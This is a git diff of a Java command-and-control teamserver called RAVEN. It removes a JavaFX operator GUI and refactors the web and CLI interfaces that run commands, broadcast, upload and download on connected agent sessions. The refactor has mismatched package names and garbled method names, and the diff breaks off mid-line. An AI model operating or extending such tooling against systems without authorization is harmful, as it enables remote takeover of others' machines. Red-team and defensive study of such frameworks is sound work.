Content.setStyle("-fx-background-color: " + BgColor + ";"); - - VBox ServerCard = BuildCard("Server Configuration"); - GridPane Fields = new GridPane(); - Fields.setHgap(16); - Fields.setVgap(8); - - HostField = new TextField(Config.GetServerHost()); - PortField = new TextField(String.valueOf(Config.GetServerPort())); - ApplyInputStyle(HostField); - ApplyInputStyle(PortField); - - Fields.add(StyledLabel("Host:", 9, MutedColor, false), 0, 0); - Fields.add(HostField, 1, 0); - Fields.add(StyledLabel("Port:", 9, MutedColor, false), 0, 1); - Fields.add(PortField, 1, 1); - ServerCard.getChildren().add(Fields); - - HBox Btns = new HBox(8); - StartBtn = StyledButton("▶ START SERVER", RedColor, false); - StopBtn = StyledButton("◼ STOP SERVER", RedColor, false); - StopBtn.setDisable(true); - StartBtn.setOnAction(E -> StartServer()); - StopBtn.setOnAction(E -> StopServer()); - Btns.getChildren().addAll(StartBtn, StopBtn); - ServerCard.getChildren().add(Btns); - - VBox StatusCard = BuildCard("Server Status"); - ServerStatusLabel = StyledLabel("● OFFLINE", 16, RedColor, true); - ServerInfoLabel = StyledLabel("Not running", 10, MutedColor, false); - StatusCard.getChildren().addAll(ServerStatusLabel, ServerInfoLabel); - - Content.getChildren().addAll(ServerCard, StatusCard); - ScrollPane Scroll = new ScrollPane(Content); - Scroll.setFitToWidth(true); - Scroll.setStyle("-fx-background-color: " + BgColor + ";"); - return Scroll; - } - - private boolean ShowLoginDialog(Stage Owner) { - javafx.scene.control.Dialog Dlg = new javafx.scene.control.Dialog<>(); - Dlg.setTitle("TeamServer Login"); - Dlg.setHeaderText("RAVEN — Operator Authentication"); - Dlg.initOwner(Owner); - - GridPane Grid = new GridPane(); - Grid.setHgap(12); - Grid.setVgap(8); - Grid.setPadding(new Insets(20, 20, 10, 20)); - - TextField UserField = new TextField(); - UserField.setPromptText("Username"); - PasswordField PassField = new PasswordField(); - PassField.setPromptText("Password"); - Label ErrLabel = new Label(""); - ErrLabel.setTextFill(javafx.scene.paint.Color.web(RedColor)); - ErrLabel.setFont(Font.font("Segoe UI", 9)); - - Grid.add(new Label("Username:"), 0, 0); - Grid.add(UserField, 1, 0); - Grid.add(new Label("Password:"), 0, 1); - Grid.add(PassField, 1, 1); - Grid.add(ErrLabel, 1, 2); - - ButtonType LoginBtn = new ButtonType("Login", ButtonBar.ButtonData.OK_DONE); - Dlg.getDialogPane().getButtonTypes().addAll(LoginBtn, ButtonType.CANCEL); - Dlg.getDialogPane().setContent(Grid); - Dlg.getDialogPane().setStyle("-fx-background-color: " + BgColor + ";"); - - Dlg.setResultConverter(Btn -> { - if (Btn == LoginBtn) { - String User = UserField.getText().trim(); - String Pass = PassField.getText(); - if (Db.ValidateOperator(User, TeamDatabase.HashPassword(Pass))) { - OperatorName = User; - OperatorRole = Db.GetOperatorRole(User); - return true; - } - ErrLabel.setText("Invalid credentials"); - return null; - } - return false; - }); - - for (int I = 0; I < 3; I++) { - Optional Result = Dlg.showAndWait(); - if (Result.isEmpty() || Boolean.FALSE.equals(Result.get())) - return false; - if (Boolean.TRUE.equals(Result.get())) { - Logger.Info("GUI operator login: " + OperatorName + " [" + OperatorRole + "]"); - return true; - } - } - return false; - } - - private void StartServer() { - String Host = HostField.getText().trim(); - int Port; - try { - Port = Integer.parseInt(PortField.getText().trim()); - } catch (NumberFormatException E) { - ShowAlert("Invalid port number"); - return; - } - Server = new RavenServer(Host, Port, ListenerMode.FromString(Config.GetServerMode()), Config); - Server.AddEventListener(this::EventHandler); - boolean[] Result = Server.StartServer(); - if (!Result[0]) { - ShowAlert("Failed to start server"); - return; - } - ServerStartTime = Instant.now(); - Thread T = new Thread(Server::AcceptConnections, "AcceptConnections"); - T.setDaemon(true); - T.start(); - Platform.runLater(() -> { - ServerStatusLabel.setText("● ONLINE"); - ServerStatusLabel.setTextFill(javafx.scene.paint.Color.web(TextColor)); - ServerInfoLabel.setText(Host + ":" + Port); - StatusLabel.setText("● Online"); - StatusLabel.setTextFill(javafx.scene.paint.Color.web(TextColor)); - StartBtn.setDisable(true); - StopBtn.setDisable(false); - }); - AddLog("[+] Server started on " + Host + ":" + Port); - AddLog("[+] Session Key: " + Server.GetKeyBase64()); - } - - private void StopServer() { - if (Server == null) - return; - Server.StopServer(); - ServerStartTime = null; - Platform.runLater(() -> { - ServerStatusLabel.setText("● OFFLINE"); - ServerStatusLabel.setTextFill(javafx.scene.paint.Color.web(RedColor)); - ServerInfoLabel.setText("Not running"); - StatusLabel.setText("● Offline"); - StatusLabel.setTextFill(javafx.scene.paint.Color.web(RedColor)); - StartBtn.setDisable(false); - StopBtn.setDisable(true); - SessionRows.clear(); - SessionCountLabel.setText("⊟ 0 Sessions"); - }); - AddLog("[!] Server stopped"); - } - - private void RefreshSessions() { - if (Server == null) - return; - Platform.runLater(() -> { - SessionRows.clear(); - for (Session S : Server.GetSessions().GetAll()) - SessionRows.add(new SessionRow(S)); - SessionCountLabel.setText("⊟ " + SessionRows.size() + " Session" + (SessionRows.size() != 1 ? "s" : "")); - }); - } - - private void SendTerminalCommand() { - if (CmdInputField == null) - return; - String SidStr = TermInputField.getText().trim(); - String Cmd = CmdInputField.getText().trim(); - if (SidStr.isEmpty() || Cmd.isEmpty()) - return; - int Sid; - try { - Sid = Integer.parseInt(SidStr); - } catch (NumberFormatException E) { - WriteTerminal("[!] Invalid session ID\n", true); - return; - } - if (Server == null) { - WriteTerminal("[!] Server not running\n", true); - return; - } - WriteTerminal("❯ " + Cmd + "\n", false); - CmdInputField.clear(); - AddLog("[>] #" + Sid + ": " + Cmd); - final int FinalSid = Sid; - Executors - .newSingleThreadExecutor() - .submit(() -> { - String[] Result = Server.ExecuteCommand(FinalSid, Cmd); - boolean Ok = Boolean.parseBoolean(Result[0]); - Platform.runLater(() -> { - WriteTerminal(Result[1] + "\n\n", false); - AddLog((Ok ? "[+]" : "[!]") + " #" + FinalSid + ": " + (Ok ? "OK" : Result[1])); - }); - }); - } - - private void RunExecCommand(String Body) { - String[] Args = Body.trim().split("\\s+", 2); - if (Args.length < 2) { - AddLog("[!] Usage: exec "); - return; - } - try { - int Sid = Integer.parseInt(Args[0]); - RunAgentCommand(Sid, Args[1]); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - - private void RunShortcutCommand(String[] Parts, String Command) { - if (Parts.length < 2) { - AddLog("[!] Usage: " + Command + " "); - return; - } - try { - RunAgentCommand(Integer.parseInt(Parts[1]), Command); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - - private void RunSleepCommand(String[] Parts) { - if (Parts.length < 2) { - AddLog("[!] Usage: sleep "); - return; - } - String[] Args = Parts[1].split("\\s+", 2); - if (Args.length < 2) { - AddLog("[!] Usage: sleep "); - return; - } - try { - RunAgentCommand(Integer.parseInt(Args[0]), "sleep " + Args[1]); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - - private void RunDownloadCommand(String[] Parts) { - if (Parts.length < 2) { - AddLog("[!] Usage: download "); - return; - } - String[] Args = Parts[1].split("\\s+", 2); - if (Args.length < 2) { - AddLog("[!] Usage: download "); - return; - } - try { - RunAgentCommand(Integer.parseInt(Args[0]), "download " + Args[1]); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - - private void RunUploadCommand(String[] Parts) { - if (Parts.length < 2) { - AddLog("[!] Usage: upload "); - return; - } - String[] Args = Parts[1].split("\\s+", 3); - if (Args.length < 3) { - AddLog("[!] Usage: upload "); - return; - } - try { - RunAgentCommand(Integer.parseInt(Args[0]), "upload " + Args[1] + " " + Args[2]); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - - private void RunAgentCommand(int Sid, String Cmd) { - if (Server == null || !Server.IsRunning()) { - AddLog("[!] Server not running"); - return; - } - AddLog("[>] SESSION-" + Sid + " → " + Cmd); - Executors - .newSingleThreadExecutor() - .submit(() -> { - String[] Result = Server.ExecuteCommand(Sid, Cmd); - boolean Ok = Boolean.parseBoolean(Result[0]); - Db.SaveCommandLog(Sid, OperatorName != null ? OperatorName : "gui", Cmd, Result[1], Ok); - Platform.runLater(() -> AddLog((Ok ? "[+]" : "[!]") + " SESSION-" + Sid + ": " + Result[1])); - }); - } - - private void ShowSessionInfoLog(String SidText) { - try { - int Sid = Integer.parseInt(SidText.trim()); - Optional Opt = Server.GetSessions().Get(Sid); - if (Opt.isEmpty()) { - AddLog("[!] Session not found"); - return; - } - Session S = Opt.get(); - AddLog("[*] ID=" + S.GetId() + " Name=" + S.GetDisplayName() + " Type=" + S.GetSessionType().name()); - AddLog("[*] Host=" + S.GetHostname() + " User=" + S.GetUser() + " OS=" + S.GetOs() + " Arch=" + S.GetArch()); - AddLog("[*] IP=" + S.GetAgentIp() + " Key=" + S.GetSessionKey() + " mTLS=" + S.IsMtlsEnabled()); - AddLog("[*] Note=" + Db.GetAgentNote(Sid)); - } catch (Exception E) { - AddLog("[!] Usage: sysinfo "); - } - } - - private void SaveNoteCommand(String Body) { - String[] Args = Body.trim().split("\\s+", 2); - if (Args.length < 2) { - AddLog("[!] Usage: note "); - return; - } - try { - int Sid = Integer.parseInt(Args[0]); - Db.SetAgentNote(Sid, Args[1]); - AddLog("[+] Note saved for SESSION-" + Sid); - } catch (NumberFormatException E) { - AddLog("[!] Invalid session ID"); - } - } - - private void GetNoteCommand(String SidText) { - try { - int Sid = Integer.parseInt(SidText.trim()); - String Note = Db.GetAgentNote(Sid); - AddLog("[*] Note SESSION-" + Sid + ": " + (Note.isEmpty() ? "(empty)" : Note)); - } catch (Exception E) { - AddLog("[!] Usage: getnote "); - } - } - - private void ShowHistoryCommand(String Body) { - String[] Args = Body == null || Body.isBlank() ? new String[0] : Body.trim().split("\\s+"); - int Sid = Args.length > 0 ? ParseInt(Args[0], 0) : 0; - int Limit = Args.length > 1 ? ParseInt(Args[1], 25) : 25; - List> Hist = Db.GetCommandHistory(Sid, Limit); - AddLog("[*] History entries: " + Hist.size()); - for (Map R : Hist) - AddLog(" #" + R.getOrDefault("AgentId", "?") + " " + R.getOrDefault("Operator", "?") + " " + R.getOrDefault("Command", "") + " [" + R.getOrDefault("Timestamp", "") + "]"); - } - - private int ParseInt(String Value, int Def) { - try { - return Integer.parseInt(Value.trim()); - } catch (Exception E) { - return Def; - } - } - - private void OpenExecuteWindow() { - if (SelectedSessionId < 0) { - ShowAlert("Select a session first"); - return; - } - Stage Win = new Stage(); - Win.setTitle("Execute — SESSION-" + SelectedSessionId); - Win.setWidth(650); - Win.setHeight(450); - VBox Layout = new VBox(8); - Layout.setPadding(new Insets(12)); - Layout.setStyle("-fx-background-color: " + BgColor + ";"); - TextArea Out = new TextArea(); - Out.setEditable(false); - ApplyTermStyle(Out); - VBox.setVgrow(Out, Priority.ALWAYS); - HBox Input = new HBox(8); - TextField Entry = new TextField(); - Entry.setPromptText("Enter command..."); - ApplyInputStyle(Entry); - HBox.setHgrow(Entry, Priority.ALWAYS); - Button Run = StyledButton("Run", RedColor, false); - final int Sid = SelectedSessionId; - Runnable Exec = () -> { - String Cmd = Entry.getText().trim(); - if (Cmd.isEmpty()) - return; - Out.appendText("❯ " + Cmd + "\n"); - Entry.clear(); - Executors - .newSingleThreadExecutor() - .submit(() -> { - String[] Result = Server.ExecuteCommand(Sid, Cmd); - Platform.runLater(() -> Out.appendText(Result[1] + "\n\n")); - }); - }; - Run.setOnAction(E -> Exec.run()); - Entry.setOnAction(E -> Exec.run()); - Input.getChildren().addAll(StyledLabel("❯", 11, AccentColor, true), Entry, Run); - Layout.getChildren().addAll(Out, Input); - Win.setScene(new Scene(Layout)); - Win.show(); - Entry.requestFocus(); - } - - private void OpenBroadcastWindow() { - if (Server == null || !Server.IsRunning()) { - ShowAlert("Server not running"); - return; - } - Stage Win = new Stage(); - Win.setTitle("Broadcast Command"); - Win.setWidth(600); - Win.setHeight(500); - VBox Layout = new VBox(8); - Layout.setPadding(new Insets(12)); - Layout.setStyle("-fx-background-color: " + BgColor + ";"); - - HBox TargetRow = new HBox(8); - TargetRow.setAlignment(Pos.CENTER_LEFT); - Label TargetLbl = StyledLabel("Target:", 9, MutedColor, false); - TextField TargetField = new TextField(); - TargetField.setPromptText("Session IDs: 1,2,3 or all"); - ApplyInputStyle(TargetField); - HBox.setHgrow(TargetField, Priority.ALWAYS); - TargetRow.getChildren().addAll(TargetLbl, TargetField); - - TextArea Out = new TextArea(); - Out.setEditable(false); - ApplyTermStyle(Out); - VBox.setVgrow(Out, Priority.ALWAYS); - - HBox InputRow = new HBox(8); - InputRow.setAlignment(Pos.CENTER_LEFT); - TextField CmdField = new TextField(); - CmdField.setPromptText("Enter command..."); - ApplyInputStyle(CmdField); - HBox.setHgrow(CmdField, Priority.ALWAYS); - Button RunBtn = StyledButton("⇶ Broadcast", RedColor, false); - - Runnable DoBroadcast = () -> { - String Target = TargetField.getText().trim(); - String Cmd = CmdField.getText().trim(); - if (Target.isEmpty() || Cmd.isEmpty()) - return; - Out.appendText("⟳ Broadcasting [" + Target + "]: " + Cmd + "\n"); - CmdField.clear(); - Executors - .newSingleThreadExecutor() - .submit(() -> { - Map Results; - if (Target.equalsIgnoreCase("all")) { - Results = Server.BroadcastAll(Cmd); - } else { - java.util.List Ids = new java.util.ArrayList<>(); - for (String S : Target.split(",")) { - try { - Ids.add(Integer.parseInt(S.trim())); - } catch (NumberFormatException Ignored) { - } - } - Results = Server.BroadcastCommand(Ids, Cmd); - } - final Map FinalResults = Results; - Platform.runLater(() -> { - for (Map.Entry En : FinalResults.entrySet()) { - boolean Ok = Boolean.parseBoolean(En.getValue()[0]); - Out.appendText("SESSION-" + En.getKey() + (Ok ? " ✔" : " ✘") + ":\n"); - Out.appendText(En.getValue()[1] + "\n\n"); - Db.SaveCommandLog(En.getKey(), "operator", Cmd, En.getValue()[1], Ok); - } - }); - }); - }; - RunBtn.setOnAction(E -> DoBroadcast.run()); - CmdField.setOnAction(E -> DoBroadcast.run()); - InputRow.getChildren().addAll(StyledLabel("❯", 11, AccentColor, true), CmdField, RunBtn); - Layout.getChildren().addAll(TargetRow, Out, InputRow); - Win.setScene(new Scene(Layout)); - Win.show(); - CmdField.requestFocus(); - } - - private void KillSelected() { - if (SelectedSessionId < 0) { - ShowAlert("Select a session first"); - return; - } - Alert Confirm = new Alert(Alert.AlertType.CONFIRMATION, "Terminate SESSION-" + SelectedSessionId + "?"); - Confirm - .showAndWait() - .ifPresent(R -> { - if (R == ButtonType.OK) { - Server.RemoveSession(SelectedSessionId); - SelectedSessionId = -1; - RefreshSessions(); - if (SelectedAgentLabel != null) - SelectedAgentLabel.setText("○ No agent selected"); - } - }); - } - - private void EventHandler(EventType Type, Map Data) { - switch (Type) { - case AgentConnected -> { - AddLog( - "[+] [" + - Data.get("Type") + - "] SESSION-" + - Data.get("ID") + - ": " + - Data.get("AgentName") + - " (" + - Data.get("OS") + - ")"); - Platform.runLater(this::RefreshSessions); - } - case AgentDisconnected -> { - AddLog("[-] SESSION-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); - Platform.runLater(this::RefreshSessions); - } - case Error -> AddLog("[!] " + Data.get("Message")); - } - } - - private void AddLog(String Msg) { - String Ts = LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")); - String Entry = "[" + Ts + "] " + Msg; - LogEntries.add(Entry); - if (LogEntries.size() > Config.GetMaxLogEntries()) - LogEntries.remove(0); - Platform.runLater(() -> { - if (LogOutput != null) { - LogOutput.appendText(Entry + "\n"); - } - }); - } - - private void WriteTerminal(String Text, boolean IsError) { - if (TerminalOutput != null) - TerminalOutput.appendText(Text); - } - - private void StartUptimeTimer() { - Thread Timer = new Thread(() -> { - while (true) { - try { - Thread.sleep(1000); - } catch (InterruptedException Ignored) { - } - if (ServerStartTime != null) { - long S = Duration.between(ServerStartTime, Instant.now()).getSeconds(); - String Up = SystemHelper.FormatUptime(S); - Platform.runLater(() -> { - if (UptimeLabel != null) - UptimeLabel.setText("TIME: " + Up); - }); - } - } - }); - Timer.setDaemon(true); - Timer.start(); - } - - private VBox BuildStatCard(String Icon, String Title, String Value, String Hex) { - VBox Card = new VBox(4); - Card.setPadding(new Insets(18)); - Card - .setStyle( - "-fx-background-color: linear-gradient(to bottom right, #111114, #070707); -fx-background-radius: 18; -fx-border-color: " + Hex - + "; -fx-border-radius: 18; -fx-effect: dropshadow(gaussian, rgba(255,31,61,0.16), 22, 0.22, 0, 10);"); - Card.setMinHeight(104); - HBox Row = new HBox(8); - Row.setAlignment(Pos.CENTER_LEFT); - Row - .getChildren() - .addAll( - StyledLabel(Icon, 28, Hex, false), - new VBox(2) { - { - getChildren() - .addAll( - StyledLabel(Title, 10, MutedColor, false), - StyledLabel(Value, 24, Hex, true)); - } - }); - Card.getChildren().add(Row); - return Card; - } - - private VBox BuildCard(String Title) { - VBox Card = new VBox(8); - Card.setPadding(new Insets(18)); - Card - .setStyle( - "-fx-background-color: linear-gradient(to bottom right, #111114, #090909); -fx-background-radius: 18; -fx-border-color: " + BorderColor - + "; -fx-border-radius: 18; -fx-effect: dropshadow(gaussian, rgba(255,31,61,0.12), 18, 0.16, 0, 8);"); - Label TitleLabel = StyledLabel(Title, 12, TextColor, true); - Separator Sep = new Separator(); - Sep.setStyle("-fx-background-color: " + BorderColor + ";"); - Card.getChildren().addAll(TitleLabel, Sep); - return Card; - } - - private Label StyledLabel(String Text, int Size, String Hex, boolean Bold) { - Label L = new Label(Text); - L.setFont(Font.font("Segoe UI", Bold ? FontWeight.BOLD : FontWeight.NORMAL, Size)); - L.setTextFill(javafx.scene.paint.Color.web(Hex)); - return L; - } - - private Button StyledButton(String Text, String Hex, boolean Outline) { - Button B = new Button(Text); - B - .setStyle( - "-fx-background-color: " + - (Outline ? "transparent" : Hex) + - ";" + - "-fx-text-fill: " + - (Outline ? Hex : "#ffffff") + - ";" + - "-fx-border-color: " + Hex + ";" + - "-fx-border-width: 1.2;" + - "-fx-border-radius: 10;" + - "-fx-font-family: 'Segoe UI';" + - "-fx-font-size: 10px;" + - "-fx-font-weight: bold;" + - "-fx-padding: 8 16 8 16;" + - "-fx-background-radius: 10;" + - "-fx-cursor: hand;"); - return B; - } - - private void ApplyInputStyle(TextField F) { - F - .setStyle( - "-fx-background-color: " + - Card2Color + - ";" + - "-fx-text-fill: " + - TextColor + - ";" + - "-fx-prompt-text-fill: " + - MutedColor + - ";" + - "-fx-font-family: 'Consolas';" + - "-fx-font-size: 11px;" + - "-fx-padding: 9 12 9 12;" + - "-fx-background-radius: 9;" + - "-fx-border-color: " + BorderColor + ";" + - "-fx-border-radius: 9;"); - } - - private void ApplyTermStyle(TextArea A) { - A - .setStyle( - "-fx-background-color: #050812;" + - "-fx-control-inner-background: #050812;" + - "-fx-text-fill: " + - TextColor + - ";" + - "-fx-highlight-fill: " + RedColor + ";" + - "-fx-font-family: 'Consolas';" + - "-fx-font-size: 11px;" + - "-fx-padding: 12 14 12 14;" + - "-fx-background-radius: 12;" + - "-fx-border-color: " + BorderColor + ";" + - "-fx-border-radius: 12;"); - A.setWrapText(true); - } - - private Region VDivider() { - Region R = new Region(); - R.setStyle("-fx-background-color: " + BorderColor + ";"); - R.setPrefWidth(1); - R.setPrefHeight(20); - return R; - } - - private Separator Divider() { - Separator S = new Separator(); - S.setPadding(new Insets(4, 16, 4, 16)); - S.setStyle("-fx-background-color: " + BorderColor + ";"); - return S; - } - - private void ShowAlert(String Msg) { - Alert A = new Alert(Alert.AlertType.WARNING, Msg); - A.setHeaderText(null); - A.showAndWait(); - } -} diff --git a/src/main/java/com/raven/iface/WebApp.java b/src/main/java/com/raven/interface/APP/WebApp.java similarity index 98% rename from src/main/java/com/raven/iface/WebApp.java rename to src/main/java/com/raven/interface/APP/WebApp.java index 8f9746a..29a4fa0 100644 --- a/src/main/java/com/raven/iface/WebApp.java +++ b/src/main/java/com/raven/interface/APP/WebApp.java @@ -1,4 +1,4 @@ -package com.raven.iface; +package com.raven.interfaces.APP; import com.google.gson.Gson; import com.raven.core.db.TeamDatabase; @@ -183,11 +183,11 @@ private String ApiStart(HttpExchange E) throws Exception { Server.AddEventListener(this::OnEvent); boolean[] R = Server.StartServer(); if (!R[0]) { - AddLog("[!] Failed to start server"); + AddLog("Failed to start server"); return GsonInst.toJson(Map.of("Error", "Failed to start server")); } ServerStartTime = Instant.now(); - AddLog("[+] Server started on " + Host + ":" + Port); + AddLog("Server started on " + Host + ":" + Port); new Thread(Server::AcceptConnections, "AcceptConnections").start(); return GsonInst.toJson(Map.of("Success", true, "Host", Host, "Port", Port, "Mode", ActiveMode.name(), "StartedAt", ServerStartTime.getEpochSecond())); } @@ -197,7 +197,7 @@ private String ApiStop(HttpExchange E) { Server.StopServer(); Server = null; ServerStartTime = null; - AddLog("[!] Server stopped"); + AddLog("Server stopped"); return GsonInst.toJson(Map.of("Success", true)); } @@ -244,7 +244,7 @@ private String ApiExec(HttpExchange E) throws Exception { String[] R = Server.ExecuteCommand(AgentId, Command); boolean Ok = Boolean.parseBoolean(R[0]); Db.SaveCommandLog(AgentId, Operator, Command, R[1], Ok); - AddLog(Ok ? "[+] " + R[1] : "[!] " + R[1]); + AddLog(Ok ? "" + R[1] : "" + R[1]); return GsonInst.toJson(Map.of("Success", Ok, "Output", R[1], "Command", Command)); } @@ -686,19 +686,19 @@ private String BashAgent(String Id, String Host, int Port) { private void OnEvent(EventType Type, Map Data) { switch (Type) { case AgentConnected -> { - AddLog("[+] Session-" + Data.get("ID") + " [" + Data.get("Type") + "] " + Data.get("User") + "@" + Data.get("Hostname") + " " + Data.get("OS")); + AddLog("SESSIONS-" + Data.get("ID") + " [" + Data.get("Type") + "] " + Data.get("User") + "@" + Data.get("Hostname") + " " + Data.get("OS")); Db.SaveSessionEvent(Data, "connected"); } case AgentDisconnected -> { - AddLog("[!] Session-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); + AddLog("SESSIONS-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); Db.SaveSessionEvent(Data, "disconnected"); } - case Error -> AddLog("[!] " + Data.get("Message")); + case Error -> AddLog("" + Data.get("Message")); } } private void AddLog(String Msg) { - String Entry = "[" + LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")) + "] " + Msg; + String Entry = " [" + LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")) + "] " + Msg; Logs.add(Entry); if (Logs.size() > MaxLogs) Logs.remove(0); Db.SaveLog(Entry); diff --git a/src/main/java/com/raven/iface/CLI.java b/src/main/java/com/raven/interface/CLI/CLI.java similarity index 66% rename from src/main/java/com/raven/iface/CLI.java rename to src/main/java/com/raven/interface/CLI/CLI.java index 12827c4..2eb9652 100644 --- a/src/main/java/com/raven/iface/CLI.java +++ b/src/main/java/com/raven/interface/CLI/CLI.java @@ -1,4 +1,4 @@ -package com.raven.iface; +package com.raven.interfaces.CLI; import com.raven.core.db.TeamDatabase; import com.raven.core.db.TeamDatabase.OperatorRole; @@ -7,7 +7,7 @@ import com.raven.core.server.ListenerMode; import com.raven.core.server.RavenServer; import com.raven.core.session.Session; -import com.raven.iface.banner.CLIBanner; +import com.raven.interfaces.banner.CLIBanner; import com.raven.utils.AnsiColor; import com.raven.utils.ServerConfig; import com.raven.utils.SystemHelper; @@ -47,8 +47,8 @@ public class CLI { private int CurrentSession = -1; private ListenerMode ActiveMode = ListenerMode.MULTI; private String OperatorName = null; - private OperatorRole OpRole = null; - private boolean IsTeamMode = false; + private OperatorRole OperatorRoles = null; + private boolean IsTeamServerMode = false; public CLI(ServerConfig Config) { this.Config = Config; @@ -56,15 +56,15 @@ public CLI(ServerConfig Config) { this.Db = TeamDatabase.Connect(Config); } - private volatile int cachedWidth = -1; - private final AtomicInteger termWidth = new AtomicInteger(-1); - private Thread widthPoller; + private volatile int CachedWidth = -1; + private final AtomicInteger TermWidth = new AtomicInteger(-1); + private Thread WidthPoller; - private void startWidthPoller() { - widthPoller = new Thread(() -> { + private void StartWidthPoller() { + WidthPoller = new Thread(() -> { while (!Thread.currentThread().isInterrupted()) { - int w = detectTermWidth(); - termWidth.set(w); + int Width = DetectTermWidth(); + TermWidth.set(Width); try { Thread.sleep(250); } catch (InterruptedException e) { @@ -73,120 +73,120 @@ private void startWidthPoller() { } } }, "term-width-poller"); - widthPoller.setDaemon(true); - widthPoller.start(); + WidthPoller.setDaemon(true); + WidthPoller.start(); } private int TermWidth() { - String cols = System.getenv("COLUMNS"); - if (cols != null && !cols.isBlank()) { + String Colums = System.getenv("COLUMNS"); + if (Colums != null && !Colums.isBlank()) { try { - return Math.max(40, Integer.parseInt(cols.trim())); - } catch (NumberFormatException ignored) {} + return Math.max(40, Integer.parseInt(Colums.trim())); + } catch (NumberFormatException Ignored) {} } - if (widthPoller == null || !widthPoller.isAlive()) startWidthPoller(); + if (WidthPoller == null || !WidthPoller.isAlive()) StartWidthPoller(); - int cached = termWidth.get(); - if (cached > 0) return cached; + int Cached = TermWidth.get(); + if (Cached > 0) return Cached; - int detected = detectTermWidth(); - termWidth.set(detected); - return detected; + int Detected = DetectTermWidth(); + TermWidth.set(Detected); + return Detected; } - private int detectTermWidth() { + private int DetectTermWidth() { String os = System.getProperty("os.name", "").toLowerCase(); if (os.contains("win")) { - Integer w = WinTermWidth(); - return w != null ? w : 80; + Integer Width = WinTermWidth(); + return Width != null ? Width : 80; } - Integer unixW = UnixTermWidth(); - return unixW != null ? unixW : 80; + Integer UnixTermWidth = UnixTermWidth(); + return UnixTermWidth != null ? UnixTermWidth : 80; } private Integer UnixTermWidth() { - Integer w = UnixWidthStty(); - if (w != null) return w; - return UnixWidthTput(); + Integer Width = UnixTermWidthidthStty(); + if (Width != null) return Width; + return UnixTermWidthidthTput(); } - private Integer UnixWidthStty() { + private Integer UnixTermWidthidthStty() { try { - ProcessBuilder pb = new ProcessBuilder("sh", "-c", "stty size < /dev/tty"); - pb.redirectErrorStream(true); - Process p = pb.start(); - String out = new String(p.getInputStream().readAllBytes()).trim(); - p.waitFor(); - String[] parts = out.split("\\s+"); - if (parts.length >= 2) return Math.max(40, Integer.parseInt(parts[1])); - } catch (Exception ignored) {} + ProcessBuilder ExecuteProcess = new ProcessBuilder("sh", "-c", "stty size < /dev/tty"); + ExecuteProcess.redirectErrorStream(true); + Process ExecuteThread = ExecuteProcess.start(); + String Output = new String(ExecuteThread.getInputStream().readAllBytes()).trim(); + ExecuteThread.waitFor(); + String[] Parts = Output.split("\\s+"); + if (Parts.length >= 2) return Math.max(40, Integer.parseInt(Parts[1])); + } catch (Exception Ignored) {} return null; } - private Integer UnixWidthTput() { + private Integer UnixTermWidthidthTput() { try { - ProcessBuilder pb = new ProcessBuilder("sh", "-c", "tput cols < /dev/tty"); - pb.redirectErrorStream(true); - Process p = pb.start(); - String out = new String(p.getInputStream().readAllBytes()).trim(); - p.waitFor(); - if (!out.isBlank()) return Math.max(40, Integer.parseInt(out)); - } catch (Exception ignored) {} + ProcessBuilder ExecuteProcess = new ProcessBuilder("sh", "-c", "tput cols < /dev/tty"); + ExecuteProcess.redirectErrorStream(true); + Process ExecuteThread = ExecuteProcess.start(); + String Output = new String(ExecuteThread.getInputStream().readAllBytes()).trim(); + ExecuteThread.waitFor(); + if (!Output.isBlank()) return Math.max(40, Integer.parseInt(Output)); + } catch (Exception Ignored) {} return null; } private Integer WinTermWidth() { - Integer w = WinWidthPowerShell(); - if (w != null) return w; + Integer Width = WinWidthPowerShell(); + if (Width != null) return Width; return WinWidthModeCon(); } private Integer WinWidthPowerShell() { try { - ProcessBuilder pb = new ProcessBuilder("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", "[Console]::WindowWidth"); - pb.redirectErrorStream(true); - pb.redirectInput(ProcessBuilder.Redirect.INHERIT); - Process p = pb.start(); - String out = new String(p.getInputStream().readAllBytes()).trim(); - boolean finished = p.waitFor(1500, TimeUnit.MILLISECONDS); - if (!finished) { - p.destroyForcibly(); + ProcessBuilder ExecuteProcess = new ProcessBuilder("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", "[Console]::WindowWidth"); + ExecuteProcess.redirectErrorStream(true); + ExecuteProcess.redirectInput(ProcessBuilder.Redirect.INHERIT); + Process ExecuteThread = ExecuteProcess.start(); + String Output = new String(ExecuteThread.getInputStream().readAllBytes()).trim(); + boolean Finished = ExecuteThread.waitFor(1500, TimeUnit.MILLISECONDS); + if (!Finished) { + ExecuteThread.destroyForcibly(); return null; } - if (!out.isBlank()) { - String digits = out.replaceAll("\\D+", ""); - if (!digits.isBlank()) { - int val = Integer.parseInt(digits); - if (val >= 20 && val <= 1000) return Math.max(40, val); + if (!Output.isBlank()) { + String Digits = Output.replaceAll("\\D+", ""); + if (!Digits.isBlank()) { + int Value = Integer.parseInt(Digits); + if (Value >= 20 && Value <= 1000) return Math.max(40, Value); } } - } catch (Exception ignored) {} + } catch (Exception Ignored) {} return null; } private Integer WinWidthModeCon() { try { - ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", "mode con"); - pb.redirectErrorStream(true); - Process p = pb.start(); - String out = new String(p.getInputStream().readAllBytes()); - boolean finished = p.waitFor(1500, TimeUnit.MILLISECONDS); - if (!finished) { - p.destroyForcibly(); + ProcessBuilder ExecuteProcess = new ProcessBuilder("cmd.exe", "/c", "mode con"); + ExecuteProcess.redirectErrorStream(true); + Process ExecuteThread = ExecuteProcess.start(); + String Output = new String(ExecuteThread.getInputStream().readAllBytes()); + boolean Finished = ExecuteThread.waitFor(1500, TimeUnit.MILLISECONDS); + if (!Finished) { + ExecuteThread.destroyForcibly(); return null; } - for (String line : out.split("\\r?\\n")) { - String lower = line.toLowerCase(); - if (lower.contains("column") || lower.contains("kolom")) { - String digits = line.replaceAll("[^0-9]", ""); - if 